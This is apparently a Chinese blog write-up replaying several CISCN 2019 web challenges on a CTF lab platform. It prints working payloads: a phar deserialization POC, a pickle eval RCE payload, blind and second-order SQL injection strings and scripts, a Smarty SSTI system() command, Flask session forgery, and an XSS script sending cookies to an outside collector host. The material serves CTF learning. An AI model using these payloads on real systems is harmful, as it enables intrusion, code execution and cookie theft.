buu-CISCN2019 华东南赛区-web复现


[toc]

[CISCN2019 华北赛区 Day1 Web1]Dropbox

知识点:任意文件下载、phar反序列化

注入无果,上传文件应该不是绕过考点,毕竟是CISCN。下载抓包,感觉有任意文件下载,试了试 ../../../../../../../etc/passwd 确实可以,凭感觉下载这么多(忽略poc和phar.jpg)

image-20211003101647046

下完以后可以分析一下了,有 class.php 就想起来反序列化。。。但是不一定有,进去看看。

  1. 首先是 User 类,sql 全部使用了参数绑定,不存在注入。暂时没有收获
  2. 接着是 FileList 类,一个 __call 可能有用
  3. 最后是 File 类,其 close() 方法内有 file_get_contents 函数,考虑使用这个读取 /flag.txt (怎么知道文件名的?看wp 23333)

User 类的析构方法调用了 File::close() ,但是没有回显。再去看 FileList::__call(),将调用的结果保存在 results[$file->name()][$func] 二维数组里面,而其析构函数又有了下面这一段将其输出了出来

foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }

那么 pop 链子就很清楚 User::__destruct() -> FileList::__call() -> File::close(),怎么用呢?

先看看 download.php,里面有 ini_set("open_basedir", getcwd() . ":/etc:/tmp");chdir($_SESSION['sandbox']);,这个 $sandbox 是在你登陆的时候 login.php 为每个用户定义了一个固定的上传目录:$sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/";download.php 先是限制了当前程序可以访问的目录(其可以同时设置多个可访问目录,分隔符是 :),又将程序工作目录改变为 $sandbox,所以在下载上面几个文件的时候用的是 ../../*.php 而不是 *.php;所以这个脚本并不能直接读取根目录下的 flag.txt

再看 delete.php,虽然有 chdir($_SESSION['sandbox']);,但是并未限制目录;且$file->open($filename)会触发phar反序列化,那就可以调用上面的 pop。phar的讲解可以看看这个文章:初探phar://,受影响的函数列表有下面这些

image-20211003142520631

最后的 poc 如下

<?php

/**
 * @Author: ying
 * @Date:   2021-10-02 09:57:50
 * @Last Modified by:   ying
 */

class User {
    public $db;

    // public function __construct(){
    //     $this->db = "new FileList()";
    // }
    // public function __destruct() {
    //     $this->db->close();
    // }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct(){
        $file = new File();
        $file->filename = '/flag.txt';
        $this->files[] = $file;
        $this->results = [];
        $this->funcs = [];
    }
}

class File {
    public $filename;

    public function close() {
        return file_get_contents($this->filename);
    }
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new User();
$o->db = new FileList();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

生成的 phar.phar 改为后缀为 jpg ,上传上去后 POST /delete.phpfilename=phar://phar.jpg

image-20211003142819895

[CISCN2019 华北赛区 Day1 Web2]ikun

知识点:购物逻辑漏洞、jwt 爆破、pickle 反序列化

推荐阅读:一篇文章带你理解漏洞之 Python 反序列化漏洞从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势

注册登陆,初始金币是 1000.0,首页提示要买到 lv6 账户,等级对应图片名字,写脚本跑一下

image-20211004142932719

# -*- coding: utf-8 -*-
# @Author: ying
# @Date:   2021-10-04 10:32:25
# @Last Modified by:   ying
# @Last Modified time: 2021-10-04 10:37:44

import requests
import time

sess = requests.session()
original_url = 'http://03b166ca-6f88-4f1d-a613-f67e1fb4a9f7.node4.buuoj.cn:81/shop?page='

for x in range(1,1000):
    url = original_url+str(x)
    response = sess.get(url=url, timeout=3)
    time.sleep(0.06)
    if response.status_code == 200:
        if 'lv6.png' in response.text:
            print('[+] Page is '+str(x))
            break
        else:
            print('[-] Not Found '+str(x))
    else:
        exit()

跑到第 181 页有了,但是很贵买不起,想抓包试试修改金额看有没有逻辑漏洞。结算时直接修改价格是不行的,需要将discount改为 0.00000000000000000000000000000000000000000000001即可绕过

image-20211004143246081

但是页面显示只能 admin 访问(注册账户不能用admin作为账户名,因为已经存在了,我是傻福),再看上面抓的包,cookie 里面有 JWT,丢到 jwt.io 解一下,是 HS256 加密,试试能不能跑出来,工具:c-jwt-cracker

image-20211004143857080

跑出来了,然后修改用户名为 admin 即可

image-20211004143939405

修改后发现不能一键成为大会员,去个人中心找到 hint

image-20211004144155962

转头去看买到的 lv6 表面没东西,看看源码,下载下来

image-20211004144329036

Admin.py 里面找到 pickle.loads 反序列化的东西,这个应该就是后门了,没什么过滤,直接反序列化一把梭,注意这里 py 的版本是 py2 不能用 3,因为 py2 用的 0 号协议,而 py3 是 3 号协议

image-20211004144408082

image-20211004150746971

poc

# -*- coding: utf-8 -*-
# @Author: ying
# @Date:   2021-10-04 11:03:28
# @Last Modified by:   ying
# @Last Modified time: 2021-10-04 11:08:11

import pickle
import base64
import urllib

class poc(object):
    def __reduce__(self):
        return(eval,("open('/flag.txt','r').read()",))

print(urllib.quote(pickle.dumps(poc())))

image-20211004150951927

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

知识点:LFI 、二次注入

随手看源码发现

image-20211004190257297

一波 LFI

<?php
# index.php
ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
    if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
        echo('no way!');
        exit;
    }
    @include($file);
}
?>
<?php
# confim.php
require_once "config.php";
//var_dump($_POST);

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = $_POST["address"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if($fetch->num_rows>0) {
        $msg = $user_name."已提交订单";
    }else{
        $sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
        $re = $db->prepare($sql);
        $re->bind_param("sss", $user_name, $address, $phone);
        $re = $re->execute();
        if(!$re) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单提交成功";
    }
} else {
    $msg = "信息不全";
}
?>
<?php
# search.php
require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch-
?>
<?php
# delete.php
require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db-
?>
<?php
# config.php
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

$DATABASE = array(

    "host" => "127.0.0.1",
    "username" => "root",
    "password" => "root",
    "dbname" =>"ctfusers"
);

$db = new mysqli($DATABASE['host'],$DATABASE['username'],$DATABASE['password'],$DATABASE['dbname']);
?>
<?php
# change.php
require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单ä
?>

看最后一个 change.php 的 sql 语句 $sql = "update usersetaddress='".$address."', old_address='".$row['address']."' where user_id=".$row['user_id'];,中间拼接了数据库的内容($row['address']),而对 $address 的过滤仅有 addslashes() 完成,所以存在二次注入

首先提交订单,地址处填入报错注入语句:' where user_id=extractvalue(0x0a,concat(0x0a,(select substr(load_file('/flag.txt'),20,50))))#

image-20211004202742996

然后修改订单地址随便填即可,因报错注入回显最大为 32 位,所以需要截取

[CISCN2019 华北赛区 Day2 Web1]Hack World

知识点:无需空格的注入

<?php
$dbuser='root';
$dbpass='root';

function safe($sql){
    #被过滤的内容 函数基本没过滤
    $blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
    foreach($blackList as $blackitem){
        if(stripos($sql,$blackitem)){
            return False;
        }
    }
    return True;
}
if(isset($_POST['id'])){
    $id = $_POST['id'];
}else{
    die();
}
$db = mysql_connect("localhost",$dbuser,$dbpass);
if(!$db){
    die(mysql_error());
}
mysql_select_db("ctf",$db);

if(safe($id)){
    $query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");

    if($query){
        $result = mysql_fetch_array($query);

        if($result){
            echo $result['content'];
        }else{
            echo "Error Occured When Fetch Result.";
        }
    }else{
        var_dump($query);
    }
}else{
    die("SQL Injection Checked.");
}

正常不会给源码的蛤,先试了试发现 1 和 2 的回显是不一样的,其他会返回 bool ,fuzz 了过滤很多,猜测应该是 select a from b where waf($_POST['id']),一手 if 盲注,过滤空格不要紧直接用括号绕过即可

# -*- coding: utf-8 -*-
# @Author: ying
# @Date:   2021-10-01 17:35:14
# @Last Modified by:   ying
# @Last Modified time: 2021-10-01 17:41:25

import requests
import time

url = 'http://2b5f1e9e-1a81-49cb-92ff-365ee0660990.node4.buuoj.cn:81/index.php'
sess = requests.session()
result = ''

for x in range(1, 50):
    high = 127
    low = 32
    mid = (low + high) // 2
    while high > low:
        payload = f"if(ascii(substr((select(flag)from(flag)),{x},1))>{mid},1,2)"
        data = {
            "id":payload
        }
        response = sess.post(url=url, data=data)
        time.sleep(0.1)
        if 'Hello' in response.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2

    result += chr(int(mid))
    print(result)
    if '}' in result:
        break

[CISCN2019 华东南赛区]Web4

知识点:ssrf ? 任意文件读取、flask session伪造

开靶机,进入超链接,url 看着像 ssrf,但是测了一下返回都是 no response,瞅一眼 wp 知道可以试试任意文件读取,还有的师傅直接看 url 的路由处理方式不像 php ,直接猜测是 flask,经验 yyds吧

先试试任意文件读取:/read?url=/etc/passwd ,是可以的。但是直接读 flag 不行的(哪有那么简单哈哈哈)

image-20211004215806389

接着读取当前进程:/read?url=/proc/self/cmdline,返回 /usr/local/bin/python/app/app.py,读 /app/app.py


# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
    session['username'] = 'www-data'
    return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('^file.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m or n:
            return 'No Hack'
        res = urllib.urlopen(url)
        return res.read()
    except Exception as ex:
        print str(ex)
    return 'no response'

@app.route('/flag')
def flag():
    if session and session['username'] == 'fuck':
        return open('/flag.txt').read()
    else:
        return 'Access denied'

if __name__=='__main__':
    app.run(
        debug=True,
        host="0.0.0.0"
    )

直接看 /flag 路由,是伪造 session,往上看有没有密匙泄露什么的。发现密匙是伪随机数,种子为 uuid.getnode() ,不知道啥玩意,搜一下。Python——uuid

image-20211004220539127

返回的是 硬件地址(MAC地址),读取 /sys/class/net/eth0/address02:42:ac:10:bb:3c,然后使用 python2(要和环境一致)

image-20211004221117661

接着使用 flask 解密 session 看看他的格式是什么样的,要不然你咋伪造捏,解密脚本如下


#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode


def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                        'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                            'decoding the payload')

    return session_json_serializer.loads(payload)


if __name__ == '__main__':
    print(decryption("eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.YVsLOQ.Zh8ekGpWOhMsmGqY4lqz4WooFjQ".encode()))

结构如 {u'username': 'www-data'},然后使用工具:flask-session-cookie-manager 伪造即可

image-20211004223517446

[CISCN2019 华东南赛区]Web9

这个靶机应该是有点问题,环境和 exp 在赵师傅这里:https://github.com/glzjin/CISCN_2019_southeastern_China_web9

[CISCN2019 华东南赛区]Web11

知识点:Smarty ssti

这个访问他给的两个url没反应,看wp震惊我一年,师傅不愧是师傅,但是curl我失败了,只能bp了。

img

先上一个 ssti 图

image-20210930174208992

X-Forwarded-For:a{*asd*}b测出来是 Smarty 框架,X-Forwarded-For:{$smarty.version} 可以知道是其版本是 3.1.30,但是3.1.30已废除{php}标签,可以转到 {if}{/if} 这里去搞事情,payload:X-Forwarded-For:{if system('cat /flag')}{/if},或者X-Forwarded-For:{if show_source('/flag')}{/if}

[CISCN2019 华东南赛区]Double Secret

这个扫目录无果,访问 /secret 显示 Tell me your secret.I will encrypt it so others can't see ,应该要传参 secret ,传入 a 返回 4,随意传入五个字符会报错,在报错页面可以看到是 flask;也能找到加密密匙

image-20211004213604217

是RC4加密,其详细介绍在维基百科里面有记载:https://en.wikipedia.org/wiki/RC4。网上找了很多加解密的网站但是结果都不太一样,是时候祭出神器:https://www.chinabaiker.com/cyberchef.htm

image-20211004213747512

ssti 丢上去即可,因为有不可见字符,所以加了 urlencode。接着传参得到 flag

image-20211004213842486

[CISCN2019 华东北赛区]Web2

这个复现失败了,原因未知,xss不能拿到管理员cookie,应该是buu靶机改了,以前是不出网的,现在可以了

xss,绕过csp,哈希生日密码攻击,注入

wp: 赵总视频CISCN 2019 华东北赛区 Web2 WriteUp

推荐阅读:Content Security Policy 入门教程哈希碰撞与生日攻击

注册,登陆。功能有投稿和反馈,看这个反馈页面就像是 xss ,通过投稿文章内容把页面发给管理员窃取 cookie

image-20211010230659270

首先在投稿处试试简单的 xss payload:<script>alert(1)</script>,点进去后发现并没有弹窗,看看源码

嘤文括号变成中文括号了,且有csp。但是其开启了'unsafe-inline' 'unsafe-eval',这就意味着我们可以执行一个内联的 js 代码,由 buuxss 提供的 xss payload 不能直接使用,绕过csp也很简单,只需将 (new Image()).src 改为 window.location.href 再将 payload 进行实体编码(又叫 HTML Markup: https://www.w3.org/MarkUp/html-spec/html-spec_13.html)

image-20211010231118946

脚本也很简单

# -*- coding: utf-8 -*-
# @Author: ying
# @Date:   2021-10-10 21:55:55
# @Last Modified by:   ying

xss = '''(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=CS6Bpk&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();'''
payload = ''

for x in xss:
    payload += '&#'+str(ord(x))

print('<svg><script>eval&#40&#34'+payload+'&#34&#41</script>')

点击文章会发现跳转到首页,然后去反馈处将文章填进去,验证码由下面的脚本计算,今天才知道他是哈希碰撞与生日攻击

# -*- coding: utf-8 -*-
# @Author: ying
# @Date:   2021-10-10 22:04:44
# @Last Modified by:   ying

import hashlib

for x in range(0,10000000000000001):
    a = hashlib.md5(str(x).encode('utf-8')).hexdigest()[0:6]
    if a == '445dc3':
        print(x)
        break

然后复现失败。。。知道怎么绕过的就行了,涨涨姿势。后面的就是简单的内联注入没啥玩的


文章作者: yq1ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yq1ng !
评论
  目录